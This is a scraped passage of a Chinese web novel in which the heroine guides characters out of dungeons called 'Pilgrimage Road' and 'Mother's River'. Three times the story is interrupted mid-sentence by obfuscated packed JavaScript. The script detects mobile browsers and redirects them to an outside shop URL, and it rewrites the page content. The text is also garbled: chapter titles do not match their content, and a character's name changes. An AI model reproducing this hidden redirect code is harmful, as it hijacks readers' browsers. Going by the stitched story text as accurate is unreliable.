d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374010|199466||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但还是等的那种等。 “她想让他想起来吗?”虞锦问。 女人摇头: “不知道。她没说过。” “那你为什么想让他想起来?” 女人沉默了很久。 然后她说: “因为我替第一任看了太久。看了太多人忘掉,太多人等,太多人再也见不到。我累了。” 她转头看着虞锦: “我想看一次团圆。” 虞锦回到塔里。 男人还站在那束光下,一动不动。 她走过去,站在他面前。 “你记得小念吗?” 男人想了想: “小念……是谁?” “笑起来有两个酒窝的那个。” 他的眼睛动了一下。 “她……我记得她笑起来的样子。但不记得她的名字。” 虞锦拿出那本日记,翻到第一页,读给他听: “今天认识了一个女孩。她说她叫小念。笑起来有两个酒窝。” 男人的眼睛亮了。 虞锦继续读。 第二页,第三页,第四页—— 读到第五页的时候,男人的手开始发抖。 读到第六页—— “我用记忆换了她的命。从今天起,我会慢慢忘记她。但没关系,她活着就好。” 男人的眼泪流下来。 “我想起来了。”他说,声音发抖,“我想起来了……” 他转身,想要冲出去。 但走到门口,他又停住了。 “我……”他回头看着虞锦,“她还在等我吗?” 虞锦点头: “在山下。等了很久。” 男人的眼泪流得更凶了。 但他没有冲出去。 他站在门口,看着山下那间小屋,看着窗口那个模糊的影子。 “我不敢。”他说,“我忘了她那么久。她会不会怪我?” 虞锦走到他身边,也看着山下: “不会。” “你怎么知道?” “因为等的人,”虞锦说,“不会怪。只会高兴。” 男人看着她: “你等过?” 虞锦想了想: “等过。” 等过妈妈回来。 等过爸爸的电话。 等过—— 她忽然想到一个人。 那个在小镇上等她回去的人。 男人终于下了山。 虞锦站在塔顶,看着他的背影越来越小,最后消失在山下的那间小屋里。 窗户里的灯,亮了一整夜。 第二天早上,太阳升起来的时候,那盏灯灭了。 门开了。 男人推着轮椅出来,轮椅上坐着小念。 她仰着头看他,眼睛里有光。 他也低头看她,眼睛里有泪。 他们在笑。 虞锦看着他们,忽然觉得—— 这个冰冷的、残酷的、让人绝望的世界里,也有这样的时刻。 值得等。 值得活。 值得用一切去换。 女人站在她旁边,也看着山下。 “谢谢。”她说。 虞锦摇头: “不用。” 女人转过头,看着她: “你知道我为什么是第九十九个吗?” 虞锦摇头。 “因为前面九十八个,都是‘感受’。只有我,是‘忘记’。” 她顿了顿: “第一任把所有的痛苦都分出去了,让她们感受。但感受太痛了,所以最后,她把我分出来——让我帮她忘掉那些痛苦。” 她看着虞锦: “但现在,我不想忘了。” “为什么?” “因为忘了,”她说,“就看不到这样的时刻了。” 她指着山下那两个人: “他们。郁白和他爷爷。林真和她妹妹。那些人——他们让我觉得,记着也挺好的。” 虞锦看着她。 看着这个从一开始就负责“遗忘”的人。 她现在,选择了记住。 “那你以后怎么办?”虞锦问。 女人想了想: “不知道。可能继续在这儿待着。可能去别的地方看看。” 她笑了,笑得很轻: “反正我有的是时间。” 虞锦离开遗忘小镇的时候,天又黑了。 她站在镇口,回头看了一眼。 那些还在重复做事的居民,那些还在问“你是谁”的人。 他们也是谁的家人。 谁的爱人。 谁的等待。 只是他们忘了。 她转过身,往前走。 走到桥头的时候,她看到一个人。 郁白。 站在桥的那一头,看着她。 “你怎么来了?”她问。 郁白走过来: “你三天没回去,我来找你。” 三天? 她在里面好像只待了一天。 “里面时间过得慢。”郁白说,“外面已经三天了。” 虞锦点点头。 郁白看着她: “你没事吧?” “没事。” “那走吧。”他说,“我爸做了饭,等你回去吃。” 虞锦看着他。 看着他被月光照亮的侧脸。 她忽然想起那个在塔里站了很久的男人。 想起他说“想起来的时候,这里会疼”。 想起他推着轮椅出来时,脸上的笑。 “郁白。”她叫。 “嗯?” “如果有一天,我也要用记忆换你的命——” 郁白打断她: “不会。” “什么?” “不会有那一天。”他说,“我不会让你换。” 虞锦看着他: “你怎么知道?” 郁白停下来,转身看着她: “因为我会先换。” 月光下,他的眼睛很亮。 虞锦看着那双眼睛,忽然不知道该说什么。 郁白笑了: “走吧。饭要凉了。” 他转身,继续往前走。 虞锦跟上。 走在他旁边。 影子被月光拉得很长,交叠在一起。 17. 完美基因 虞锦站在周明远的房间里,看着那封留下的信。 信纸很普通,就是从笔记本上撕下来的一页,边缘有点毛糙。字迹也很普通,就是周明远平时写字的那个样子——有点潦草,但不难看懂。 “虞锦: 我走了。去找她。 不管她想不想得起我,我都要去。 你不用来找我。这是我自己选的路。 如果我能回来,我们再一起吃饭。 如果回不来—— 谢谢你。真的。 周明远” 虞锦把信折起来,放进口袋。 她看着窗外那个正在打开的副本入口。 金色的光,像一扇门,悬浮在半空中。 上面写着四个字: 朝圣之路 她转身,走出房间。 走廊里空空的,只有她一个人的脚步声。 走到楼梯口,她停下。 回头看了一眼那扇门。 周明远的房间,门开着,里面空无一人。 她想起第一次见他时,他穿着西装,强装镇定地说“我叫周明远,是广告公司的策划总监”。 想起他在永生病房的黄昏里,蹲在地上画母亲的样子。 想起他从病床上醒来,第一次真正笑出来的样子。 “我去找他。”她说。 不知道是对谁说。 可能是对自己。 可能是对那个不知道在哪儿的周明远。 也可能只是想说点什么。 【叮——您正在尝试进入S级副本:朝圣之路。】 【副本难度:S】 【副本类型:生存+信仰模拟】 【任务:走到终点。】 【特殊规则:这是一条没有尽头的路。你会看到你想看到的,听到你想听到的,遇到你想遇到的。但它们都是假的。唯一真的——是你自己的脚。】 白光闪过。 虞锦站在一条路上。 很长的路,看不到尽头。 两边是荒芜的戈壁,风沙很大,打在脸上生疼。 天是灰黄色的,太阳被沙子遮住,只剩下一个模糊的光团。 路上有很多人。 一个一个,弯着腰,低着头,慢慢往前走。 有的人走几步就跪下,磕一个头,然后爬起来继续走。 有的人走几步就哭,哭完继续走。 有的人走几步就倒下,倒下之后,再也没起来。 没有人说话。 没有人看别人。 只是走。 走。 一直走。 虞锦顺着这条路往前。 走了很久,她看到了一个熟悉的身影。 周明远。 他走在人群中,低着头,一步一步,走得很慢。 膝盖上全是血,是跪出来的。 额头上也破了,血混着沙子,糊了半张脸。 但他还是在走。 虞锦走过去,站在他面前。 他抬起头。 那双眼睛——空空的,和永生病房里一模一样。 “周明远。”她叫。 他看着她,眨了眨眼: “你是谁?” 虞锦的心沉了一下。 他忘了。 这才多久,他就忘了。 “我是虞锦。” “虞锦……”他重复了一遍,摇头,“不记得。” 他又低下头,继续往前走。 虞锦跟上去: “你在找谁?” 他头也不回: “我妈。” “她在哪儿?” “前面。”他说,“她就在前面等我。只要我一直走,就能见到她。” 虞锦看着这条没有尽头的路。 前面什么都没有。 只有风沙,只有戈壁,只有那些和他一样低着头的人。 “你走了多久了?”她问。 周明远想了想: “不知道。很久了。” “你见到她了吗?” “没有。”他说,“但快了。我感觉快了。” 虞锦没有说话。 她只是跟着他,一起走。 走了很久很久。 久到天黑了又亮,亮了又黑。 久到身边的人换了一批又一批——有的倒下了,有的还在走。 周明远还在走。 膝盖上的血已经干了,结成黑色的痂。额头的伤口也结了痂,又被磨破,又结痂。 他一句话不说,只是走。 虞锦走在他旁边。 她试过劝他停下,他不听。 她试过拉他回去,他挣开。 她试过站在他面前挡住他,他绕过去继续走。 他只是一直说: “她就前面。再走一会儿就到了。” 后来虞锦不劝了。 只是陪着他走。 走到第五天——也可能是第五十天,她分不清了——周明远忽然停下来。 他看着前方,眼睛睁得很大。 “她在那儿。”他说。 虞锦顺着他的目光看过去。 前面什么都没有。 只有风沙,只有戈壁,只有那些低着头的人。 但周明远好像看到了什么。 他开始跑。 跌跌撞撞地跑,跑几步就摔倒,爬起来继续跑。 虞锦追上去。 他跑到一个地方,停下来。 跪下去。 对着空气,磕头。 “妈——”他喊,声音撕裂,“妈——我来了——我来找你了——” 没有人回应。 只有风声。 他又喊: “妈——你看看我——我是明明——你记不记得——我是明明——” 还是没有回应。 他开始哭。 跪在那里,抱着头,哭得像个孩子。 “你为什么不理我……”他哭着说,“我找了你好久好久……我走了这么远……你怎么不理我……” 虞锦站在他身后,看着他。 看着他的背在发抖,看着他的声音越来越哑,看着他最后哭不出声,只是跪在那里,肩膀一抽一抽的。 她走过去,蹲在他身边。 “周明远。” 他没反应。 她叫他的名字,一遍一遍: “周明远。周明远。周明远。” 他终于抬起头。 满脸的泪,满脸的沙,满脸的血。 “她不认识我。”他说,“她站在那里,看着我,就像看陌生人一样。” 虞锦看着他: “那是假的。” “什么?” “这里的东西。”虞锦说,“都是假的。你想看到的,就会看到。但看到了,也不是真的。” 周明远愣住: “假的?” “嗯。副本规则里写的。你会看到你想看到的,听到你想听到的,遇到你想遇到的。但它们都是假的。” 周明远低下头,看着自己的手: “那我走了这么久……” “你走了很久。”虞锦说,“但都是白走。” 他沉默了。 很久。 然后他问: “那她真的在哪儿?” 虞锦想了想: “不知道。” 周明远看着她: “那我还怎么找她?” 虞锦没有回答。 她不知道答案。 她只知道,这条路不是答案。 他们坐在路边,看着那些人继续往前走。 一个老人从他们身边经过,走得很慢,每走三步就跪一下。 周明远看着他,忽然问: “他在找谁?” 虞锦摇头: “不知道。可能是儿女,可能是老伴,可能是他自己。” 周明远沉默了一会儿: “他们都一样。” “什么一样?” “都在找。”他说,“找不到了,也要找。” 虞锦没有说话。 那个老人走远了。 又一个年轻人走过来,走得很快,眼睛直直地看着前方。 周明远叫住他: “你在找什么?” 年轻人愣了一下,停下来: “找我媳妇。” “找到了吗?” “快了。”他说,“她就在前面,我看到她了。” 他继续走。 周明远看着他的背影: “他也说快了。” 虞锦点头。 “每个人都以为快到了。”她说,“但这条路,没有终点。” 周明远沉默了很久。 然后他站起来: “那我不走了。” 虞锦看着他: “不走了?” “嗯。”他点头,“反正走不到。” 他转身,往来的方向走。 走了几步,又停下。 回头看着那条路,看着那些还在走的人。 “他们……”他说,“他们会一直走吗?” 虞锦也看着那些人: “会。直到倒下。” 周明远低下头: “我也差点成了他们。” 虞锦走到他身边: “但现在你醒了。” 周明远看着她: “你怎么知道这条路走不到?” “因为规则写的。” 周明远愣了一下,然后笑了: “又是规则。” “嗯。” “你总能看到规则。” 虞锦想了想: “可能是职业病。” 周明远笑了,笑得很轻: “谢谢你。” “不用。” 他们往回走。 走了几步,周明远又回头看了一眼。 那条路还是看不到尽头,那些人还在走。 “他们怎么办?”他问。 虞锦没有回答。 因为她也不知道。 往回走的路,比来的时候短很多。 可能是因为知道方向,也可能是因为有人在旁边。 周明远走着走着,忽然说: “我妈死的时候,我七岁。” 虞锦没说话,只是听。 “她躺在病床上,握着我的手,说‘明明要好好的,妈先走了’。然后她就走了。” 他顿了顿: “我一直以为,只要我找到她,她就能活过来。所以我拼命找。在现实世界找,在无限世界找。找了很多年。” 他看着前方: “今天我才知道,找不到了。” 虞锦看着他: “那你以后怎么办?” 周明远想了想: “不知道。可能去帮那些还在找的人。” “帮他们?” “嗯。”他点头,“告诉他们,前面什么都没有。让他们别走了。” 虞锦沉默了几秒: “他们会信吗?” 周明远笑了: “不会。但总得有人试试。” 他们走出副本的时候,外面是白天。 规则之城的天空还是灰蒙蒙的,但不知道是不是错觉,好像比之前亮了一点。 周明远站在门口,看着那些来来往往的人。 “虞锦。”他忽然叫。 “嗯?” “你说,真的有复活机制吗?” 虞锦想了想: “没有。” 周明远低下头: “我想也是。” 他抬起头,看着她: “但我不怪你。” “什么?” “你之前说会帮我找。”他说,“我信了。现在你说没有,我也信。” 他看着远处那些副本的光柱: “有些事,可能真的做不到。” 虞锦没有说话。 周明远转身,往另一个方向走。 走了几步,他回头: “下次有副本,叫我。” “什么?” “组队。”他说,“你不是还要改规则吗?我帮你。” 虞锦看着他: “你不找了?” 周明远笑了: “不找了。找不动了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她只是看着他。 看着他被灯光照亮的侧脸,看着他嘴角淡淡的笑,看着他那双总是装着很多东西的眼睛。 “你也是。”她说。 郁白愣了一下: “什么?” “有人陪着。”她说,“我爸,你爷爷,还有——我。” 郁白看着她,看了很久。 然后他笑了。 那是一个很轻很淡的笑,但虞锦看到了里面的东西。 是暖。 他走了之后,虞锦坐在窗边,看着外面的光柱。 那些光柱还是亮的,红的蓝的绿的紫的,把整个规则之城照得像一个巨大的游乐场。 但她知道,那些光柱后面,是无数个副本,无数个正在挣扎的人。 有像周明远那样,找了很久最后放下的。 有像那个老人那样,还在走的。 有像郁白那样,明知道是假的还要看的。 也有像她自己这样,带着别人走出来的。 她忽然想起第一任说的那句话: “活着最痛苦的不是死不了。是你要一个人承受所有的自己。” 她以前不懂。 现在好像有点懂了。 但她也有不一样的地方。 她不是一个人。 有郁白,有周明远,有林真,有林真她妹妹,有郁白他爸,有郁白他爷爷,有那个变成婴儿的老人,有第一任,有那九十九个人。 有这么多人。 都在。 她靠着窗,看着那些光。 慢慢地,闭上了眼睛。 第二天早上,她被敲门声吵醒。 打开门,周明远站在门口,背着一个大包。 “去哪儿?”虞锦问。 “去帮人。”他说,“你不是说要改规则吗?我帮你先收集资料。” 虞锦看着他: “什么资料?” 周明远从包里拿出一个本子,翻开: “我昨晚想了一夜。你说规则的核心是让人活着,不是困住人。那我先去那些最难的副本,看看哪些规则最不合理。” 他指着本子上密密麻麻的字: “这个是永生病房的,这个是完美基因的,这个是遗忘小镇的,这个是朝圣之路的——” 虞锦看着那个本子,愣住了: “你什么时候记的?” 周明远笑了: “边走边记。反正闲着也是闲着。” 他把本子塞给虞锦: “你先看着。我去下一个。” “哪儿?” 周明远转身,指了指远处一个新打开的副本入口: “母亲的河” 虞锦看着那个名字,心里动了一下。 母亲的河。 那个据说住着一个女人的副本。 那个女人自称“母亲”,收留所有“迷路的孩子”。 但她收留的方式,是把他们永远留在身边。 “我跟你去。”她说。 周明远回头看她: “你不用陪郁白?” 虞锦想了想: “他今天要去看他爷爷。” 周明远点点头: “那走吧。” 他们一起走向那个副本入口。 阳光——如果那灰白的光能叫阳光的话——落下来,照在他们身上。 不暖。 但也不冷。 因为有人在旁边。 18. 朝圣之路 【叮——欢迎进入S级副本:母亲的河。】 【副本难度:S】 【副本类型:生存+情感模拟】 【任务:找到“母亲”,听她说完她的故事。】 【特殊规则:在这里,“母亲”永远不会伤害你。但她会让你——不想离开。】 白光闪过。 虞锦睁开眼睛。 她站在一条河边。 河很宽,水流很缓,水是青灰色的,看不透底。两岸长满了芦苇,风一吹,沙沙地响。 天是黄昏的颜色,暗橙色的,太阳挂在天边,既不落下去,也不升起来。 和朝圣之路很像。 但又不一样。 朝圣之路是荒芜的,这里却是温柔的。 像一幅画。 “虞锦。”周明远的声音从旁边传来。 她转头,看到他站在芦苇丛边,也在看这条河。 “这就是母亲的河?”他问。 虞锦点头。 他们沿着河边走。 走了没多远,看到一个人。 一个老人,坐在河边的石头上,拿着鱼竿在钓鱼。 但他钓的不是鱼。 钓的是——空。 鱼线垂下去,提上来,什么都没有。但他还是重复着,一遍一遍,不厌其烦。 “您好。”周明远走过去。 老人抬头看他,眼神空洞: “你是谁?” 周明远愣了一下: “我是周明远。” 老人点点头,继续钓鱼。 周明远看向虞锦: “他也……” “嗯。”虞锦说,“和遗忘小镇一样。这里的每个人,都在重复。” 他们继续往前走。 河边每隔一段,就有一个人。 有的在洗衣服,洗了一遍又一遍。 有的在发呆,看着河水一动不动。 有的在哭,哭完继续哭。 有的在笑,笑得很开心,但眼睛里什么都没有。 “他们……”周明远的声音有点紧,“他们怎么了?” 虞锦看着那些人: “他们都是‘孩子’。” “孩子?” “被母亲收留的孩子。”虞锦说,“但他们来了之后,就走不了了。” 周明远沉默了。 他们走到一座桥边。 桥是木头的,很旧,走上去咯吱咯吱响。 桥的那一头,有一个女人。 站在河中央的一块石头上,面对着夕阳。 她的背影很瘦,头发很长,被风吹起来。 虞锦走过去。 走到桥中间的时候,那个女人转过身。 很普通的一张脸,四十多岁的样子,眼角有细纹,嘴角有笑意。 但那双眼睛—— 那双眼睛里,装着很多东西。 是温柔,是悲伤,是那种看了太多孩子来了又走、最后选择留下的疲惫。 “你来了。”她说,声音很轻,“我等你好久了。” 虞锦站在她面前: “你是母亲?” 女人点头: “他们都这么叫我。” 她看向虞锦身后的周明远: “这位是?” “周明远。”虞锦说,“我的朋友。” 母亲看着他,笑了: “好孩子。一看就是乖孩子。” 周明远被看得有点不自在,往后退了一步。 母亲收回目光,继续看着夕阳: “你知道我为什么在这儿吗?” 虞锦摇头。 母亲沉默了几秒。 然后她说: “因为我丢过一个孩子。” 她带他们去了她住的地方。 河边的木屋,不大,但很干净。门口种着花,红的黄的紫的,开得很热闹。 屋里有一张桌子,几把椅子,一个灶台,一张床。 墙上贴满了画。 孩子的画。 歪歪扭扭的太阳,胖乎乎的小人,五颜六色的花。 每一张下面都写着日期。 最早的,已经褪色了。 “这些都是我收留过的孩子画的。”母亲说,“他们来了之后,都会画一幅画给我。” 她指着最近的一张: “这个是去年画的。那个孩子,最喜欢画花。” 虞锦看着那些画: “他们现在在哪儿?” 母亲的笑容顿了一下。 然后她指着窗外: “在外面。河边。” 周明远愣住了: “那些……在河边重复做事的人?” 母亲点头: “他们不走。我也不让他们走。” 虞锦看着她: “为什么?” 母亲沉默了很久。 然后她走到窗边,看着外面的河: “因为我丢过一个孩子。丢了就再也找不回来。我不能再丢了。” 她转过头,看着虞锦: “你知道吗,那种感觉。早上醒来,习惯性地去叫他起床,叫完才发现他不在了。做饭的时候,习惯性地做他爱吃的,做完才发现没人吃。看到别的孩子,会想他这个时候在干什么,长多高了,还记不记得我。” 她的声音开始抖: “后来我进了这个世界。我遇到了第一任。她问我想要什么,我说我想要一个地方,让所有的孩子都安全,都不会丢。” 她看着窗外那些重复做事的人: “她给了我这个地方。也给了我这些孩子。他们来了,就不走了。他们安全了,永远不会丢。” 虞锦看着她: “但他们不快乐。” 母亲愣了一下: “什么?” “他们在外面。”虞锦指着窗外,“洗衣服,钓鱼,发呆,哭,笑——但他们不快乐。他们的眼睛里什么都没有。” 母亲沉默了。 虞锦继续说: “你把他们留在这儿,是为了保护他们。但他们想要的,可能不是保护。” 母亲看着她,眼睛里有泪光: “那你告诉我,他们想要什么?” 虞锦想了想: “不知道。但你可以问他们。” 母亲走出木屋,走向河边。 她走到那个钓鱼的老人面前,蹲下来: “老李,你想走吗?” 老人抬起头,看着她,眼神空洞: “走?去哪儿?” “去哪儿都行。离开这儿。” 老人想了想,摇头: “不走。走了就找不到我儿子了。” 母亲愣住了: “你儿子?” 老人点头: “嗯。他走丢了。我在这儿等他回来。” 母亲站起来,看向虞锦: “他儿子……” 虞锦没有说话。 母亲又走向那个洗衣服的女人: “你呢?你想走吗?” 女人头也不抬: “不走。我女儿的衣服还没洗完。” “你女儿?” “嗯。她出去玩了一会儿,一会儿就回来。我得在她回来之前把衣服洗完。” 母亲的手在发抖。 她一个一个问过去。 那个发呆的人,在等他的妻子——她说去买菜,一会儿就回来。 那个哭的人,在等他妈妈——妈妈说晚上就来接他。 那个笑的人,在等他刚出生的孩子——护士说抱去洗澡了,马上送回来。 每一个人,都在等。 等一个永远不会回来的人。 母亲站在河边,看着他们,眼泪终于流下来。 “他们……”她的声音发抖,“他们和我一样。” 虞锦走到她身边: “嗯。都是等的。” 母亲低下头: “我以为我在保护他们。其实——” “其实你只是把他们困在这儿,让他们和你一起等。” 母亲捂住脸,哭得像个孩子。 周明远站在旁边,看着这一幕。 他忽然开口: “我也等过。” 母亲抬起头,看着他。 周明远继续说: “等我妈。等了二十年。后来发现等不到了。” 他看着那些人: “但他们比我好。他们至少有个地方等。” 母亲看着他: “那你现在不等了?” 周明远想了想: “不等了。等不动了。” 他走到那个钓鱼的老人面前,蹲下来: “大爷,你儿子叫什么?” 老人看着他,眨了眨眼: “叫……叫……” 他想不起来了。 周明远轻轻拍他的肩: “没事。想不起来就算了。” 老人低下头,继续钓鱼。 周明远站起来,看着虞锦: “怎么办?” 虞锦看着那些人,看着这条河,看着这个永远不会落下去的太阳。 她想起朝圣之路。 想起那些一直走、永远走不到的人。 想起周明远跪在那里,对着空气喊妈的样子。 想起郁白说“明知道是假的,还是想看”。 这里的每个人,和那些在朝圣之路上走的人,是一样的。 都在等。 等一个回不来的人。 等一个永远不会发生的重逢。 等一个自己骗自己的明天。 “母亲。”她叫。 母亲抬头看她。 “你想让他们走吗?” 母亲沉默了很久。 然后她说: “不想。” 虞锦看着她。 母亲继续说: “我不想让他们走。因为走了,我就又是一个人了。” 她看着那些人: “他们在这儿,我还能假装有家。还能假装有人陪着。还能假装——” 她说不下去了。 虞锦看着她。 看着她哭红的眼睛,看着她微微发抖的肩膀,看着她攥紧的拳头。 她想起第一任。 想起那个把自己分成九十九份的女人。 她们都一样。 都怕一个人。 都想有人陪着。 但又都用错了方式。 “那你问过他们吗?”虞锦问,“他们想不想走?” 母亲愣了一下。 “你去问。”虞锦说,“一个一个问。想走的,让他们走。想留的,继续留。” 母亲看着她: “可是——” “没有可是。”虞锦说,“他们是你的孩子,不是你的囚犯。” 母亲站在河边,看着那些人。 看了很久。 然后她走向那个钓鱼的老人。 “老李。”她叫他。 老人抬起头。 母亲深吸一口气: “你儿子,可能不回来了。” 老人愣住了。 母亲继续说: “你在这儿等,等不到的。但他如果在别的地方,也希望你好好活着。” 老人的眼睛动了动。 母亲伸出手: “走吧。去找他。找不到也没关系。至少你在找。” 老人看着她,看着那只手。 然后他慢慢伸出手,握住了。 他站起来。 这是他第一次站起来。 他看着这条河,看着那些芦苇,看着那个永远不会落下去的太阳。 然后他笑了。 很轻,很淡。 但那是真的笑。 “谢谢。”他说。 他转身,沿着河边,一步一步,走了。 母亲站在原地,看着他的背影。 眼泪又流下来。 但这一次,是好的那种。 她走向下一个。 洗衣服的女人。 “你女儿,可能不回来了。” 女人愣住了。 “但你活着,她如果在别的地方,也会高兴。” 女人看着她,眼泪掉下来。 “那我……我怎么办?” 母亲伸出手: “走吧。去找她。找不到也没关系。至少你在找。” 女人握住她的手。 站起来。 走了。 一个接一个。 那个发呆的人,走了。 那个哭的人,走了。 那个笑的人,走了。 河边的人,越来越少。 最后,只剩下一个。 一个小孩。 七八岁的样子,蹲在河边,用手指在地上画什么。 母亲走过去,蹲在他旁边: “你在等谁?” 小孩抬起头,看着她: “等我妈妈。” 母亲的心揪了一下: “你妈妈呢?” 小孩想了想: “不知道。她说去买糖,一会儿就回来。我等了好久好久,她还没回来。” 母亲看着他,看着他那双清澈的眼睛。 “你叫什么名字?”她问。 小孩摇头: “不记得了。” “你在这儿等了多久?” 小孩又摇头: “不记得了。” 母亲伸出手: “走吧。我带你去找妈妈。” 小孩看着她: “你是我妈妈吗?” 母亲愣住了。 然后她笑了: “你想让我当你妈妈吗?” 小孩想了想,点头: “想。” 母亲把他抱起来,抱在怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382326|199466||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里。 很小,很轻,像一个真正的孩子。 “好。”她说,“那我就是你妈妈。” 小孩靠在她肩上,闭上眼睛。 “妈妈。”他轻轻叫。 母亲抱着他,站在那里,眼泪一直流。 但她在笑。 虞锦站在旁边,看着这一幕。 周明远走过来: “她……收养他了?” 虞锦点头: “嗯。” “那其他人呢?” “走了。” 周明远看着那些人消失的方向: “他们会找到吗?” 虞锦想了想: “不知道。但至少他们开始找了。” 周明远沉默了。 然后他说: “虞锦。” “嗯?” “我也想走。” 虞锦看着他: “去哪儿?” 周明远看着那条河: “不知道。但不想留在这儿了。” 虞锦点点头: “那走吧。” 他们转身,沿着河边,往回走。 走了几步,周明远忽然问: “你呢?你等过谁吗?” 虞锦想了想: “等过。” “等到了吗?” 虞锦想起那个在小镇上等她回去的人。 想起他说“我爸做了饭,等你回去吃”。 想起他在月光下说“我会先换”。 她笑了: “等到了。” 周明远看着她: “那就好。” 他们继续走。 夕阳还是那样,挂在天边,既不落下去,也不升起来。 但虞锦知道,总有一天,它会落下去的。 然后新的一天,会来。 走出副本的时候,天已经黑了。 规则之城的夜,还是那样,被光柱照得像白天。 周明远站在门口,看着她: “接下来去哪儿?” 虞锦想了想: “回家。” 周明远愣了一下: “回家?” “嗯。”虞锦说,“有人等我吃饭。” 周明远笑了: “那我呢?” 虞锦看着他: “你也回家。” 周明远点点头: “好。” 他转身,往另一个方向走。 走了几步,他回头: “虞锦。” “嗯?” “下次有副本,还叫我。” 虞锦笑了: “好。” 周明远挥挥手,消失在人群中。 虞锦站在原地,看着他的背影。 她想起第一次见他时,他穿着西装,强装镇定。 想起他在永生病房里蹲在地上画母亲。 想起他在朝圣之路上跪着喊妈。 想起他刚才说“我也想走”。 他变了。 变得没那么重了。 她转身,往小镇的方向走。 小镇还是那个小镇。 灰蒙蒙的天,破旧的房子,疯长的野草。 但门口亮着一盏灯。 是等她回去的灯。 她推开门。 郁白坐在桌边,桌上摆着饭菜。 他爸在灶台边忙活,锅里咕嘟咕嘟冒着热气。 那个婴儿——郁白的爷爷——躺在摇篮里,睡得正香。 看到她进来,郁白抬头: “回来了?” “嗯。” “吃饭吧。刚做好。” 虞锦坐下来。 郁白给她盛了一碗汤。 他爸端着一盘菜过来,笑眯眯的: “尝尝,我新学的。” 虞锦喝了一口汤。 很暖。 从嘴里暖到心里。 她看着这间屋子,看着这三个人——不对,是四个人,还有那个睡着的婴儿。 她忽然觉得,这就是家。 不是那个在现实世界里、有爸妈的房子。 是这儿。 是有人在等她的地方。 “好吃吗?”郁白他爸问。 虞锦点头: “好吃。” 老人笑得满脸褶子: “那就多吃点。锅里还有。” 郁白看着她,眼睛里有光: “累不累?” 虞锦想了想: “还行。” “那个副本怎么样?” 虞锦看着窗外那条河的方向: “有人放下了。有人找到了新的家。有人在找的路上。” 郁白点点头: “那就好。” 虞锦看着他: “你呢?今天怎么样?” 郁白看了一眼摇篮里的婴儿: “他今天会叫‘爷爷’了。” “叫谁?” 郁白指了指自己: “叫我。” 虞锦愣了一下,然后笑了: “他才多大?” “不知道。”郁白说,“反正会叫了。” 他爸在旁边插嘴: “叫的是‘爷爷’,不是‘爸爸’。他当爷爷了,高兴得不行。” 郁白瞪他一眼: “爸——” 老人笑着走开了。 虞锦看着郁白: “你当爷爷了?” 郁白的耳朵有点红: “……是。” 虞锦笑了,笑得停不下来。 郁白看着她笑,也笑了。 “吃饭。”他说,“凉了。” 吃完饭,他们坐在院子里看月亮。 那个婴儿——他们给他起了个名字,叫小北——躺在摇篮里,睁着眼睛看天。 不知道能不能看到月亮。 但他看得很认真。 “你说,”郁白忽然开口,“他会想起以前的事吗?” 虞锦想了想: “不知道。可能不会。” 郁白点点头: “也挺好。” “什么挺好?” “想不起来。”他说,“以前的事,太多不开心的。想不起来,就能重新开始。” 虞锦看着他: “你呢?你想重新开始吗?” 郁白沉默了几秒。 然后他说: “不想。” “为什么?” 他看着月亮: “因为重新开始,就会忘了遇到你。” 虞锦愣住了。 郁白没有看她,还是看着月亮: “忘了你,划不来。” 月光落在他脸上,把他的侧脸照得很柔和。 虞锦看着他,看了很久。 然后她也看着月亮。 “我也是。”她说。 19. 朝圣之路 从那以后,虞锦每隔几天就会去一次母亲的河。 不是进副本,就是去看那个母亲,还有小宝。 她也说不清为什么。 可能因为那里安静。 可能因为那条河,那些芦苇,那个永远不会落下去的太阳。 也可能因为——那里有人在等她。 小宝每次看到她,都会跑过来,抱住她的腿: “姐姐!姐姐来了!” 母亲就会从屋里出来,笑着招呼: “来了?正好,饭快好了。” 然后她们就一起吃饭,一起坐在河边,看着那个太阳,看着小宝跑来跑去。 日子就这样一天天过去。 这一天,虞锦到的时候,小宝正蹲在河边,不知道在看什么。 她走过去,蹲在他旁边: “看什么呢?” 小宝抬起头,眼睛亮亮的: “看鱼。” 虞锦往河里看。 水是青灰色的,看不透底,哪来的鱼? “有鱼吗?”她问。 小宝点头: “有。妈妈说的。” 他指着河面: “妈妈说,河里有好多好多鱼。大的小的,红的黑的,游来游去。” 虞锦看着那条河。 还是什么都看不见。 但她没有戳破。 “那你看到了吗?”她问。 小宝摇头: “没有。但妈妈说,看不见也没关系。鱼在水里,它在就好。” 虞锦愣了一下。 她忽然想起母亲说过的话—— “他在,我就不怕。” 看不见也没关系。 在就好。 她看着小宝,看着他认真的小脸,忽然觉得,这个孩子,比很多大人都明白。 晚上吃饭的时候,小宝忽然问: “妈妈,鱼会睡觉吗?” 母亲想了想: “会吧。它们游累了就睡。” “那它们睡在哪儿?” “睡在水里。” 小宝点点头,继续吃饭。 吃了几口,又问: “那它们睡醒了,还记得昨天的事吗?” 母亲笑了: “不知道。你明天去问它们。” 小宝认真地说: “好。” 虞锦看着这一幕,忽然觉得心里很软。 这孩子,是真的在认真想这些事。 想着鱼,想着河,想着这个世界。 他不是在等谁了。 他在生活。 